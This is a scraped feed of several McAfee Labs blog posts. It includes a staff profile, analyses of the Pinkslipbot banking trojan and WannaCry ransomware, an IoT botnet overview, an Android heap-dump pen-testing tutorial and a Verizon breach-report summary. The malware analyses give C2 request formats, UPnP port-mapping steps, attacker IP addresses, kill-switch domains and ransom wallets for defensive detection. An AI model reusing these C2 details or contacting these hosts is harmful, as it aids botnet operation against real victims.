I always wanted to do something meaningful with my Computer Science degree. And then when I was approached by a security firm out of college, I was hooked on the challenge of staying one step ahead of the attacker. Then, with the arrival of big data and the maturity of machine learning, the challenge only grew and upped the skills required. But I fell into it by accident, which is why I’m also passionate about showing young people what an impactful role they can have in cybersecurity and by pursuing a career in STEM.

Today, I can’t imagine doing anything other than searching for possible weaknesses before an attacker exploits them alongside a team of the good guys at McAfee.

What does a typical workday look like for you?

My morning kicks off with an online sync-up meeting. Unless there is a major security breach, massive new threat or other emergency, I spend some time reviewing the latest internal and external news from security researchers.

From there, the bulk of my workday is spent with other researchers investigating whether product features and capabilities are staying ahead of the cybersecurity threats. These meetings are also when we plan for the future, answering questions such as how do we scale the system to handle the new amount of needed data (which is always growing!), how do we ensure our data is protected, what missing data from our point products or from our threat intelligence sharing activities do we need to collect, and how should our products and technologies evolve to address the new threats?

But if a major incident breaks out, such as with Petya or a WannaCry, it is all hands on deck. We immediately work the problem as a greater team. One team assembles the kill chain of the attack. They feed their data into my team and we validate what we see and its relation to the kill chain. What geographies are experiencing this outbreak? When was the first evidence? What was our protection capabilities on day zero as it relates to the kill chain? Is the attack evolving or resolved? We work quickly with our product, sales and marketing teams to make sure our customers are protected or know what they need to do to get back to what we call a “known good state” as quickly as possible.

What keeps you up at night?

Knowing that if something slips through the cracks, someone else will have a very bad day. We spend every hour protecting people worldwide from over 600 million pieces of malware, seven million types of ransomware, and a wide range of other attack types. So, every day I reflect about how I can do better, how my department can do better, and how we can help our customers do better.

What’s the best part of your day at McAfee?

Working with a talented and passionate team. We all recognize how important our work is and we’re constantly sharpening our skills by sharing knowledge, exchanging insights and exploring new tactics. The pace in which technology evolves is also exciting. We’ve developed new ways to classify threats using machine learning. When a new threat comes in we can test our models against it and assess its effectiveness. Using machine learning we can enhance our models and learn quickly about the best approach.

I also enjoy carrying out my own investigations and digging into the data over the course of the day. I love working out how it all fits together, reviewing anything we may have missed, studying anomalies and collaborating with other researchers across the globe, to be able to make assessments about areas of concern. This allows our product teams to develop the tools and technologies needed to combat these threats.

In the end, the best part of my day is knowing that by applying my skills and experience, I play my part in keeping our world safe!

What behind-the-scenes insight can you share?

The threats keep coming. There is too much for any one person to keep track of. I generally collaborate with my fellow McAfee researchers –dedicated URL researchers, file researchers, threat researchers. But because of the changing landscape, intelligence sharing and collaboration across boundaries are now essential components of cybersecurity. McAfee has expanded the spheres of collaboration beyond just our internal team to encompass customers, external threat researchers, other security vendors, law enforcement organizations, and government agencies. More recently, we helped found the Cyber Threat Alliance, a group of cybersecurity practitioners working together to share threat information and improve defenses.

After all, Together is Power.

For more stories like this, follow @LifeAtMcAfee on Instagram and on Twitter @McAfee to see what working at McAfee is all about. Interested in joining our teams? We’re hiring! Apply now!

The post Everyday Hero: 5 Questions with McAfee Labs’ Paula Greve appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/life-at-mcafee/everyday-hero-5-questions-mcafee-labs-paula-greve/feed/ 3
McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/#respond Fri, 16 Jun 2017 19:11:20 +0000 https://securingtomorrow.mcafee.com/?p=75053 This blog was written by Sanchit Karve. McAfee Labs has discovered that banking malware Pinkslipbot (also known as QakBot/QBot) has used infected machines as control servers since April 2016, even after its capability to steal personal and financial data from the infected machine has been removed by a security product. These include home users whose […]

The post McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan appeared first on McAfee Blogs.

]]>
This blog was written by Sanchit Karve.

McAfee Labs has discovered that banking malware Pinkslipbot (also known as QakBot/QBot) has used infected machines as control servers since April 2016, even after its capability to steal personal and financial data from the infected machine has been removed by a security product. These include home users whose computers are usually behind a network address translation router. To do so, Pinkslipbot uses universal plug and play (UPnP) to open ports, allowing incoming connections from anyone on the Internet to communicate with the infected machine. As far as we know, Pinkslipbot is the first malware to use infected machines as HTTPS-based control servers and the second executable-based malware to use UPnP for port forwarding after the infamous W32/Conficker worm in 2008.

Pinkslipbot is a notorious banking-credential harvester that has been active since 2007. It primarily targets users and enterprises located within the United States and includes components for password stealers, keyloggers, and man-in-the-browser attacks that are used as vectors to steal various kinds of information—including credit cards, social security numbers, online account credentials, email passwords, digital certificates, etc. Pinkslipbot controls a large botnet of more than 500,000 infected machines and steals over a half-million records every day. As a result, this malware has been documented extensively by the antimalware industry. The malware authors are clearly benefiting from Pinkslipbot; they have maintained the code base since 2007 and regularly add new features to it.

When Pinkslipbot resurfaced in December 2015, we analyzed the samples and published our findings at the Virus Bulletin Conference (VB2016) in October 2016. That report described its use of “ATSEngine” to automatically transfer money from bank accounts that belonged to infected users. At the time, Pinkslipbot was equipped with a domain generation algorithm with antisinkhole capabilities to locate its control server. After April 26, 2016, the malware sidelined the algorithm as a backup option in favor of a list of control server IP addresses embedded within every sample. Because many of the IP addresses belonged to legitimate organizations, we believed the malware authors intentionally included them to deter the cybersecurity industry from blacklisting all IP addresses en masse.

Turns out we were wrong in that assessment. We have discovered that the list of IP addresses consists solely of infected machines that serve as HTTPS-based proxies to the actual control servers. This setup (shown in the following diagram) is used to mask the real IP addresses of the Pinkslipbot control servers.

Figure 1: Layout of a typical Pinkslipbot control server.

Our VB2016 paper also showed how all server components (control server, JavaScript-download server, exploit kit servers) were interchangeable and contained the same functionality. This information continues to hold true with this new discovery. All control server-related information described as follows has been observed on other server components used by Pinkslipbot.

From infected machine to control server proxy

The exact procedure of determining whether an infected machine is eligible to be a control server proxy is unknown. However, we believe this decision depends on an infected machine’s satisfying a combination of three factors.

  • IP address located in North America
  • High-speed Internet connection
  • Capability to open ports on an Internet gateway device using UPnP

To gauge the Internet connection speed, the malware downloads an image from Comcast’s Speed Test service from four locations in the United States.

  • http://sanjose.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://boston.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://jacksonville.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1
  • http://houston.speedtest.comcast.net/speedtest/random750x750.jpg?x={random}&y=1

Once the downloads are complete, the results of the speed test are sent to the control server.

The Pinkslipbot binary then uses the miniupnpc library to issue a Simple Service Discovery Protocol packet and look for the following UPnP devices:

  • urn:schemas-upnp-org:device:InternetGatewayDevice:1
  • urn:schemas-upnp-org:service:WANIPConnection:1
  • urn:schemas-upnp-org:service:WANPPPConnection:1
  • upnp:rootdevice

Figure 2: Pinkslipbot’s device discovery over the Simple Service Discovery Protocol.

Once devices are discovered, their descriptions are downloaded to look for Internet gateway devices (IGD). This is done by looking for the service type urn:schemas-upnp-org:service:WANCommonInterfaceConfig: in the device description. The IGD is then checked for connectivity (for example, by calling the GetStatusInfo function on the device and confirming the returned response is “Connected”) and the external IP address is retrieved using the GetExternalIPAddress() function on the device.

Once an IGD is discovered, port-forwarding rules are created by using the AddPortMapping function on the IGD.

Figure 3: Disassembled code showing port mapping functionality.

The malware attempts to port-forward 27 internal and external ports, listed below.

  • 443*
  • 465*
  • 990*
  • 993
  • 995*
  • 1194
  • 2078*
  • 2083
  • 2087
  • 2222*
  • 3389
  • 6881
  • 6882
  • 6883
  • 8443*
  • 32100
  • 32101
  • 32102
  • 32103*
  • 50000
  • 50001
  • 50002
  • 50003
  • 50010
  • 61200*
  • 61201*
  • 61202

The ports marked with a * are currently in use (as of June) by Pinkslipbot control servers.

If any port-forwarding request succeeds (and if other open ports are found), the malware saves the port number into a buffer and removes the port-mapping rule. The port-forwarding results are submitted to the control server using an HTTP POST request:

URL: hxxps://{control server-IP-Address}:{Port}/bot_serv
POST-DATA:
cmd=1&msg={obfuscated-string}&ports=993,80,465,21,50000,61200,61202

Based on this data, the malware author decides whether the infected machine can be used as a control server. Once an infected machine is selected, the “wgetexe” control server command (more accurately, command 25 using control server protocol Version 14) is issued to the infected machine to download a Trojan binary as “tmp_{timestamp}.exe.” This sample is responsible for the control server proxy communication, as we shall explain.

The downloaded Trojan is a dropper for the proxy component. It creates the following files either in %APPDATA% or %ALLUSERSPROFILE%, depending on the operating system.

  • HardwareMonitor\hardwaremonitor.dll
    • The proxy component
  • HardwareMonitor\hardwaremonitor.ini
    • Contains the Pinkslipbot BOTID stored under the field “n”
    • Contains available ports for mapping stored under the field “prt”

The file hardwaremonitor.dll (originally created as supernode_con.dll by the malware authors) is created as a new “hwmon” service launched via calling an export function (HwmonServerMainNT or HwmonServerMain) using rundll32.exe. A firewall rule is also created for rundll32.exe.

When launched as a service, the proxy component creates port-forwarding rules (using the description “NAT-PMP {port} tcp”) just as with the original Pinkslipbot sample but it does not remove them this time. The infected machine can now be used as a control server over HTTPS. The proxy component at this stage will contact the real control server via one of its hardcoded proxy servers with the following HTTPS POST request:

URL: https://{proxy-IP}/gwsup
POST-DATA:n={BOTID}&rt={IsWinNT}&prt={UPnP-Forwarded-Port}&os={OS-Version}&ver={MajVer}.{MinVer} &upnp_stat={UPnP-Status}&upnp_descr={UPnP-Port-Forward-Description}

Once the infected machine receives a control server request from a new Pinkslipbot infection, it routes all traffic to the real control servers via an additional proxy using the popular libcurl URL transfer library. As with the original malware, the responses from the real control servers are parsed and digital signatures verified using a hardcoded RSA public key (using the MatrixSSL library). To mask its presence to the outside world, responses from the real control servers (which run Apache) are modified to look like they were hosted on a server running nginx Version 1.9.12.

Figure 4: A fake server name used by Pinkslipbot.

This step agrees with our previous findings from the VB2016 paper, in which we saw an nginx server responding with a specific error message (see Page 6) during control server communication that indicated the presence of a curl-based proxy server residing on Pinkslipbot control servers. However, at the time we were not sure how this was implemented or where the curl component resided. The presence of the same error message in the proxy component DLL confirms its purpose for responding to control server requests.

Figure 5: The missing component from 2016 has been identified based on the error message.

Two custom HTTP headers are also passed to the hardcoded proxy servers to indicate the IP address of the infected machine making the request and the Pinkslipbot BOTID of the infected machine serving as the proxy server.

Custom HTTP Header: Description:
X-FORWARDED-FOR-CLIENT IP address of infected machine making a request.
X-FORWARDED-FOR-GATEWAY2 The Pinkslipbot BOTID of the infected machine serving as a control server proxy.

 

Because the Pinkslipbot control server protocol is based on HTTPS, it needs a server-side certificate to operate. It gains this on the fly by generating new self-signed certificates for every new connection using the OpenSSL library built with libcurl. The generated certificates are issued random values for the following certificate attributes:

Certificate Attribute: Description:
C Country
ST State
L Locality
STREET Street
O Organization
OU Organizational unit
CN Common name

 

Figure 6: Server certificate generation code from Pinkslipbot.

The malware authors take some extra effort to make the generated certificates appear legitimate by ensuring that:

  • The organization attribute ends with either Inc. or LLC.
  • The common name attribute uses one of the following top-level domains:
    • .com
    • .net
    • .org
    • .biz
    • .us
    • .info
    • .mobi

User recommendations

As UPnP assumes local applications and devices are trustworthy, it offers no security protections and is prone to abuse by any infected machine on the network. We have observed multiple Pinkslipbot control server proxies hosted on separate computers on the same home network as well as what appears to be a public Wi-Fi hotspot. The port-forwarding rules created by Pinkslipbot are too generic to remove automatically without risking accidental network misconfigurations. And as most malware do not interfere with port-forwarding, antimalware solutions may not revert such changes. Unfortunately, this means that your computer may still be vulnerable to outside attacks even if your antimalware product has successfully removed all Pinkslipbot binaries from your system. To ensure your computers are not unintentionally accessible from the Internet, we encourage you to download our free utility listed in the next section to look for Pinkslipbot control server proxy infections and remove malicious port mappings. Even without the UPnP elements, Pinkslipbot is still a dangerous Trojan capable of causing a lot of damage. A few years ago it gained attention for locking Active Directory while spreading over the network by brute-forcing network credentials. We recommend following the recommendations published in the McAfee Threat Advisory for W32/Pinkslipbot.

From a general cybersecurity perspective, we were surprised to see a banking Trojan use a complicated multistage proxy for HTTPS-based control server communication, especially considering that it uses UPnP to repurpose home user infections as control servers. Aside from a 2008 proof of concept created by security researchers and the W32/Conficker worm in 2009, information about malicious use of UPnP by malware is scarce. We expect this to change soon as more people use routers with built-in UPnP capabilities (enabled by default) than in 2008. Many Internet of Things devices work over UPnP and are steadily being installed and used by more people every day. As they become more ubiquitous, cybercriminals will see opportunities to use UPnP maliciously. We recommend that users keep tabs on their local port-forwarding rules and disable UPnP on their home routers unless they need it.

Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool

If your system has been infected with W32/PinkSlipbot (Qakbot/QBot), your machine may still be serving as a control server proxy for the malware. Even if all malicious components have been removed by your security product, your computer may be vulnerable to attacks if it is accessible over the Internet. To help identify this vulnerability on your computer and network, we have developed a free port-forwarding detection and removal tool specific to this malware. This utility will also detect the Pinkslipbot control server proxy service if found and disable (though not remove) the service.

The tool can be downloaded here. By default, the tool operates in detect mode, in which no changes are made to your system or router configuration if malicious elements are found.

Figure 7: The McAfee Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool operating in its default “detect only” mode.

If the tool finds malicious port-forwarding rules and malicious services, you may pass the “/del” command line argument to the tool to disable the malicious service and remove the port-forwarding rule.

 

 

Figure 8: McAfee Pinkslipbot Control Server Proxy Detection and Port-Forwarding Removal Tool operating in “detect and disable” mode.

Indicators of compromise

  • One or more of these files:
    • %APPDATA%\HardwareMonitor\hardwaremonitor.dll
    • %ALLUSERSPROFILE%\HardwareMonitor\hardwaremonitor.dll
    • %APPDATA%\HardwareMonitor\hardwaremonitor.ini
    • %ALLUSERSPROFILE%\HardwareMonitor\hardwaremonitor.ini
  • A service created with the name “hwmon” and binary path containing “rundll32.exe.”
  • TCP port forwards enabled for one of these ports using description “NAT-PMP {port} tcp” and no expiration time:
    • 443, 465, 990, 993, 995, 1194, 2078, 2083, 2087, 2222, 3389, 6881, 6882, 6883, 8443, 32100, 32101, 32102, 32103, 50000, 50001, 50002, 50003, 50010, 61200, 61201, 61202
  • Connections from and to these IP addresses:
    • 158.255.2.138
    • 185.162.8.190
    • 185.169.229.168

Sample hashes

  • Proxy component droppers
    • 22cf76f92aad53db1304dec026b834ad77d2272c7f2eaaabf299e953b98d570e
    • c23fe9f3a3035edb6fa306c7545cfd05bb310d85983dda5914cd9650c13b41d3
  • Proxy component DLL (internal name: supernode_con.dll)
    • 730e9864795ed8d6538064551ab95505dff3e92dd67888bee323cb341b2420c6
    • af25c5bed96e046ba1e25749ff51f0d8437a1ef66e469b4fd0348e372abc2f7f
    • 6d174dd4f29da814170e8f7c40ecd80794e1c27d8d94741a79bd1bd6eb75ea62

 

The post McAfee Discovers Pinkslipbot Exploiting Infected Machines as Control Servers; Releases Free Tool to Detect, Disable Trojan appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mcafee-discovers-pinkslipbot-exploiting-infected-machines-as-control-servers-releases-free-tool-to-detect-disable-trojan/feed/ 0
Further Analysis of WannaCry Ransomware https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-wannacry-ransomware/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-wannacry-ransomware/#comments Sun, 14 May 2017 21:25:15 +0000 https://securingtomorrow.mcafee.com/?p=74016 McAfee Labs has closely monitored the activity around the ransomware WannaCry. Many sources have reported on this attack and its behavior, including this post by McAfee’s Raj Samani and Christiaan Beek and this post by Steve Grobman. In the last 24 hours, we have learned more about this malware. These findings mainly concern the malware’s […]

The post Further Analysis of WannaCry Ransomware appeared first on McAfee Blogs.

]]>
McAfee Labs has closely monitored the activity around the ransomware WannaCry. Many sources have reported on this attack and its behavior, including this post by McAfee’s Raj Samani and Christiaan Beek and this post by Steve Grobman. In the last 24 hours, we have learned more about this malware. These findings mainly concern the malware’s network propagation, Bitcoin activity, and differences in observed variants.

Malware network behavior

WannaCry uses the MS17-010 exploit to spread to other machines through NetBIOS. The malware contains exploits in its body that are used during the exploitation phase. These are related to CVE-2017-0143, CVE-2017-0144, CVE-2017-0145, CVE-2017-0146, CVE-2017-0147, and CVE-2017-0148, all based on the MS17-10 security bulletin.

In many reports we read that the malware generates a list of internal IPs. We found that the malware generates random IP addresses, not limited to the local network. The following is an example attempt at propagation:

With this, the malware can spread not only to other machines in same network, but also across the Internet if sites allow NetBIOS packets from outside networks. This could be one reason for the widespread infection seen in this outbreak and why many people are unsure about the initial infection vector of the malware.

Another interesting characteristic of the malware is that once a machine with an open NetBIOS port is found, the malware will send three NetBIOS session setup packets to it. One has the proper IP of the machine being exploited, and the other two contain two IP addresses hardcoded in the malware body:

The preceding packet contains the IP of the machine being exploited. It uses the test network 192.168.0.0/24. The other two packets, below, contain different IPs that the malware has in its code:

This activity and the presence of two hardcoded IP addresses (192.168.56.20, 172.16.99.5) could be used to detect the exploit using network intrusion prevention systems.

Server message block (SMB) packets also contain the encrypted payload, which consists of exploit shellcode and the file launcher.dll. During our analysis, we found the malware is encrypted using a 4-byte XOR key, 0x45BF6313.

Encrypted payload with the key 0x45BF6313.

Decrypted launcher.dll payload.

We also found following x64 shellcode being transferred during network communication over SMB.

EternalBlue code.

DoublePulsar code.

Worm behavior

Machine A at left, Machine B at right. 

The infection flow to the vulnerable host (Machine B).

Kernel mode at left, user mode at right.

 

Infection using kernel exploit

In our analysis, we found that on infected machines the SMB driver srv2.sys is vulnerable in kernel module and is exploited by the malware to spread using SMB communication.

A compromised srv2.sys will inject launcher.dll into the user-mode process lsass.exe, which acts as the loader for mssecsvc.exe. This DLL contains only one export, PlayGame:

The code simply extracts the ransomware dropper from the resource shown previously, and starts it using the function CreateProcess:

 

Injected launcher.dll in the lsass.exe address space.

Malware variants in the wild

As reported by several sources, the malware dropper contains code to check to two specific domains before executing its ransomware or the network exploit codes.

  • hxxp://www[dot]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com
  • hxxp://www[dot]ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com

While looking for more samples in our malware database, we came across several other droppers (MD5: 509C41EC97BB81B0567B059AA2F50FE8) that did not exhibit this same behavior. These other droppers did not have the code to exploit machines through NetBIOS or to check for the kill-switch domain. With these samples, the ransomware code would be executed in all cases.

These samples were found in the wild, which means they are capable of infecting and spreading, but in a much less aggressive way. Once the ransomware infects a machine, it also tries to infect any network shares mounted as local disks. Anyone accessing these shares could execute the malware sample by mistake and infect themselves. This infection vector is not as effective as the network exploit but could nonetheless wreak havoc in a corporate environment.

We also examined the droppers (for example, MD5: DB349B97C37D22F5EA1D1841E3C89EB4) that had the exploit code to compare with the other samples. We found that this exploit-aware dropper is a wrapper around the other droppers.

Looking at the exploit-aware sample, we found that one of the resources contains a 3.4MB .exe file that is the same as the other type of droppers:

The preceding resource is extracted after the remote host is exploited and sent to the victim and installed as a service. This event starts the infection on the remote machine.

File decryption

WannaCry offers free decryption for some random number of files in the folder C:\McAfee\<random folder name>\f.wnry. We have seen 10 files decrypted for free.

In the first step, the malware checks the header of each encrypted file. Once successful, it calls the decryption routine, and decrypts all the files listed in C:\McAfee\<random folder name>\ f.wnry.

A code snippet of the header check:

The format of the encrypted file:

To decrypt all the files on an infected machine we need the file 00000000.dky, which contains the decryption keys. The decryption routine for the key and original file follows:

Bitcoin activity

WannaCry uses three Bitcoin wallets to receive payments from its victims. Looking at the payment activity for these wallets gives us an idea of how much money the attackers have made.

The current statistics as of May 13 show that not many people have paid to recover their files:

  • Wallet 12t9YDPgwueZ9NyMgw519p7AA8isjr6SMw
  • Wallet 13AM4VW2dhxYgXeQepoHkHSQuy6NgaEb94
  • Wallet 115p7UMMngoj1pMvkpHijcRdfJNXj6LrLn

The attackers appear to have earned a little over BTC 15.44 (US$27,724.22). That is not much considering the number of infected machines, but these numbers are increasing and might become much higher in the next few days. It’s possible that the sink holing of two sites may have helped slow things down:

  • hxxp://www[dot]iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com
  • hxxp://www[dot]ifferfsodp9ifjaposdfjhgosurijfaewrwergwea[dot]com

Multiple organizations across more than 90 countries have been impacted, according to reports.

We will update this blog as we learn more.

The post Further Analysis of WannaCry Ransomware appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/analysis-wannacry-ransomware/feed/ 4
Mirai, BrickerBot, Hajime Attack a Common IoT Weakness https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/ https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/#respond Wed, 03 May 2017 15:00:25 +0000 https://securingtomorrow.mcafee.com/?p=73361 This blog post was written by Rick Simon. We know that devices in the Internet of Things make enticing targets for attack. They are often insecure and can act as open windows into trusted networks. Cybercriminals are capitalizing on that more and more each day, gathering hundreds of thousands of insecure IoT devices into giant […]

The post Mirai, BrickerBot, Hajime Attack a Common IoT Weakness appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

We know that devices in the Internet of Things make enticing targets for attack. They are often insecure and can act as open windows into trusted networks. Cybercriminals are capitalizing on that more and more each day, gathering hundreds of thousands of insecure IoT devices into giant botnets. Remember what happened last fall when Mirai malware conducted the largest DDoS attack we have seen so far. The downstream effect of that attack was that millions of people could not reach such popular sites as Twitter, Spotify, Box, The New York Times, and Airbnb.

Now, two new attacks targeting IoT devices have emerged. The BrickerBot malware has been infecting and “bricking” poorly secured IoT devices. It is said that the BrickerBot operator is making these devices unusable to keep Mirai from infecting the same devices. Apparently, this attacker may be a modern-day vigilante.

The second attack is based on malware called Hajime. It appears to use its power for good instead of evil, actually securing the IoT devices it infects to protect them from more malicious attacks like Mirai. However, because the devices have been infected by Hajime, there is nothing stopping the Hajime botnet operator from changing their objectives.

What do these attacks have in common? They all take advantage of poor network and credential management. In these attacks, the malware scans for open Telnet or SSH ports, discovers IoT devices behind them, performs brute-force attacks using a dictionary of common default usernames and passwords, and then looks for ways to send the malware payload. Once infected, each malware family has different objectives, as we discussed above.

Given that these IoT device attacks follow the same attack sequence, why don’t IoT device makers simply address their weaknesses? And if they address the problems of poor network and credential management, will that solve the IoT device security problem once and for all?

We offered an answer to the first question in the McAfee Labs 2017 Threats Predictions report. In that report, we said that in their drive to be first to market with certain types of IoT devices, developers focus on features designed to capture early adopters. Unfortunately, sound security is usually not at the top of the list of must-have features by that class of buyers. Further, the use of poorly written, insecure third-party code libraries can exacerbate the problem. So, until the IoT device land rush subsides, we will probably continue to see obvious security weaknesses.

Addressing the problems of poor network and credential management will solve only the IoT device security weaknesses being exploited today. There will be other exploited weaknesses tomorrow.

The right way to look at security in an IoT device is by using an assist such as the OWASP IoT Attack Surface model. From an attacker’s point of view, an IoT device is very similar to any other computer system and should be assessed for security just as with other systems. I created this previously unpublished image last year to make the point:

This is the toaster attack surface!

In fact, when our threat research team examines an IoT device for security weaknesses, they use the OWASP model for guidance. If IoT device makers simply examined their products during development through an attacker’s lens, they could reduce the number of security weaknesses significantly.

What can you do today to mitigate IoT device security weaknesses? Some weaknesses unfortunately fall into the category of acceptable risk. Other weaknesses, however, can be addressed. Check out the Solution Brief “Secure IoT Devices to Protect Against Attacks” to learn more. In that brief, we offer actionable policies and procedures for securing IoT devices. We also provide detailed advice on how McAfee products can protect systems and networks from IoT device attacks.

To stay up to date on all cybersecurity news, follow @McAfee and @McAfee_Labs.

The post Mirai, BrickerBot, Hajime Attack a Common IoT Weakness appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/mirai-brickerbot-hajime-attack-common-iot-weakness/feed/ 0
Pen Testing Android Apps, Part 5: Analyzing the Heap Dump https://securingtomorrow.mcafee.com/business/pen-testing-android-apps-part-5-analyzing-heap-dump/ https://securingtomorrow.mcafee.com/business/pen-testing-android-apps-part-5-analyzing-heap-dump/#respond Thu, 27 Apr 2017 18:29:03 +0000 https://securingtomorrow.mcafee.com/?p=73116 This blog was written by Kunal Garg. One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the fifth in a series of posts on pen testing Android applications. In the first, […]

The post Pen Testing Android Apps, Part 5: Analyzing the Heap Dump appeared first on McAfee Blogs.

]]>
This blog was written by Kunal Garg.

One of the best ways to develop secure Android applications is to engage in penetration (pen) testing, in effect trying to break into your application just as an attacker might do. This is the fifth in a series of posts on pen testing Android applications. In the first, we set up the testing environment and captured traffic. In the second, we discussed some tools and proxy techniques—Drozer, Apktool, and a “man in the middle” proxy—that come in handy during a security review of Android applications. In the third, we looked at reviewing Android’s manifest file. In the fourth, we covered the process to successfully modify the source code.

In this article, we will focus on capturing and analyzing the heap dump.

Android applications should not leak information such as passwords, social security numbers, or credit card numbers in the form of long-lived references or objects in memory. Data leakage via these references is a common occurrence and is categorized in the Open Web Application Security Project list Mobile Top 10 2016-M2-Insecure Data Storage.

While performing a pen test we must analyze the heap to identify and flag any sensitive information-leakage issues.

A heap dump is basically a snapshot of all the objects. We need to focus on the following:

  • Long-lived references
  • Caches holding objects
  • Objects holding references

Obtaining the heap dump

Open the Android Device Monitor using the command “monitor” from the tools directory of the Android software development kit (SDK). Next select the application package, click “Dump HPROF file,” and save the file. (HPROF stands for heap/CPU profiling.)

This heap dump is not identical to the one obtained from the Java HPROF tool. This needs to be converted into Java SE HPROF format, which you can accomplish using the HPROF-conv utility located in the platform tools directory of the Android SDK.

Converting the HPROF file

Use this command to make the conversion:

HPROF-conf <input file> <output file>

Analyzing the heap dump

You can employ the Eclipse Memory Analyzer, for example, to analyze the heap dump.

  • Open the converted HPROF file using the memory analyzer.
  • Click on “open dominator tree for entire heap” and search for the application package, for example, com.mwr.example.Sieve.
  • Search the objects for any sensitive information entered in the application.

We entered password Test@1234123 in the sieve application and found the same in clear text among the objects in the heap dump.

Recommendations

Your best practice is to nullify objects that contain any sensitive information.

References

https://developer.android.com/studio/profile/investigate-ram.html

The post Pen Testing Android Apps, Part 5: Analyzing the Heap Dump appeared first on McAfee Blogs.

]]>
https://securingtomorrow.mcafee.com/business/pen-testing-android-apps-part-5-analyzing-heap-dump/feed/ 0
‘Aha’ Moments From the ‘Verizon 2017 Data Breach Investigations Report’ https://securingtomorrow.mcafee.com/business/data-security/aha-moments-verizon-2017-data-breach-investigations-report/ https://securingtomorrow.mcafee.com/business/data-security/aha-moments-verizon-2017-data-breach-investigations-report/#respond Thu, 27 Apr 2017 07:08:21 +0000 https://securingtomorrow.mcafee.com/?p=73070 This blog post was written by Rick Simon. The annual Verizon Data Breach Investigations Report (DBIR) was published today. Once again, it is a hefty report that is sure to become one of the most referenced data breach reports in the world. That is because Verizon’s analysis is based on a broad set of real […]

The post ‘Aha’ Moments From the ‘Verizon 2017 Data Breach Investigations Report’ appeared first on McAfee Blogs.

]]>
This blog post was written by Rick Simon.

The annual Verizon Data Breach Investigations Report (DBIR) was published today. Once again, it is a hefty report that is sure to become one of the most referenced data breach reports in the world.

That is because Verizon’s analysis is based on a broad set of real breach data collected from 65 law enforcement agencies, security product vendors, and security consulting firms. In fact, this year’s report analyzed more than 42,000 incidents and 1,900 confirmed breaches spanning 84 countries and 20 industries. Although the data set is neither comprehensive nor a random sample, it certainly looks at a large set of data and is very likely to be directionally accurate.

 

The report reconfirms many of the things we already know, but it also provides many “aha” moments. In the “what we already know” category, here are the main findings:

  • 75% of the breaches in VERIS, Verizon’s incident database, were perpetrated by outsiders; 51% involved organized crime.
  • A whopping 81% involved stolen or weak passwords.
  • 73% of the breaches were financially motivated.
  • 66% of malware was installed through malicious email attachments.
  • Typical time-to-compromise continues to be measured in minutes, while time-to-discovery remains in weeks or months.
  • Financial services firms are still the top dogs in confirmed breaches, with health care running second.
  • In the manufacturing sector, cyber espionage is by far the most common type of incident; usually, this comes from competitors or nation-states trying to steal intellectual property.

In the “aha” category, the report reveals these interesting finding:

  • Over a billion credential sets were stolen in 2016, more than three times greater than the previous high-water mark in 2013. In the McAfee Labs 2017 Threats Predictions report, we predicted increased credential theft activity, so we think this trend will continue.
  • Social attacks were part of 43% of all breaches. Phishing is the most common social tactic (93% of social incidents). Almost all phishing attacks that led to a breach were followed with some form of malware.
  • There was a disturbing rise in cyber espionage in the education sector, with state-affiliated actors most often the culprits; manufacturing and the public sector remain the most common targets for cyber espionage.
  • Chip-and-pin (the EMV standard) use in the United States is still in its infancy (just 25% of ATMs are chip-and-pin ready, lower for other payment card terminals), so the impact of 2015’s chip-and-pin mandate still does not show up in the numbers.

 

McAfee coauthored the chapter on ransomware, highlighting ransomware technical advancements in 2016 and ways in which the security industry is fighting back. We also provided anonymized breach data, used by Verizon in their analysis throughout the report.

Here are some highlights from the ransomware chapter:

  • Ransomware has moved up to the fifth most common form in this year’s data from the 22nd most common form of malware in 2013.
  • The number of ransomware incidents increased to 229 in 2016 from 159 in 2015.
  • The most significant change to ransomware in 2016 was the swing away from targeting individual consumer systems toward vulnerable organizations.
  • Web drive-by’s were the number one attack vector in 2015, but were supplanted by email in 2016. Social actions, notably phishing, were found in 21% of incidents in 2016, up from just 8% in 2015.
  • Public sector organizations were the number one industry target, with healthcare second, and financial services third.
  • In 2016, attackers introduced master boot record locking and partial- and full-disk encryption in an effort to make it more difficult to recover systems without paying. They also experimented with a variety of methods to avoid detection by security sandboxes.
  • Criminals began offering ransomware-as-a-service in 2016, enabling anyone to extort their favorite targets, while taking a cut of the action.

In the McAfee Labs 2017 Threats Predictions report, we postulated that ransomware will subside in the latter half of 2017. We believe this for several reasons:

  • Security software will better protect and detect ransomware: Endpoint protection software can now detect millions of ransomware samples. Security vendors are also adding detection techniques such as sandboxes that can mimic a user environment to catch obfuscated ransomware, behavioral analysis to prevent ransomware from executing completely, and file-creation blocks to prevent ransomware from writing encrypted files.
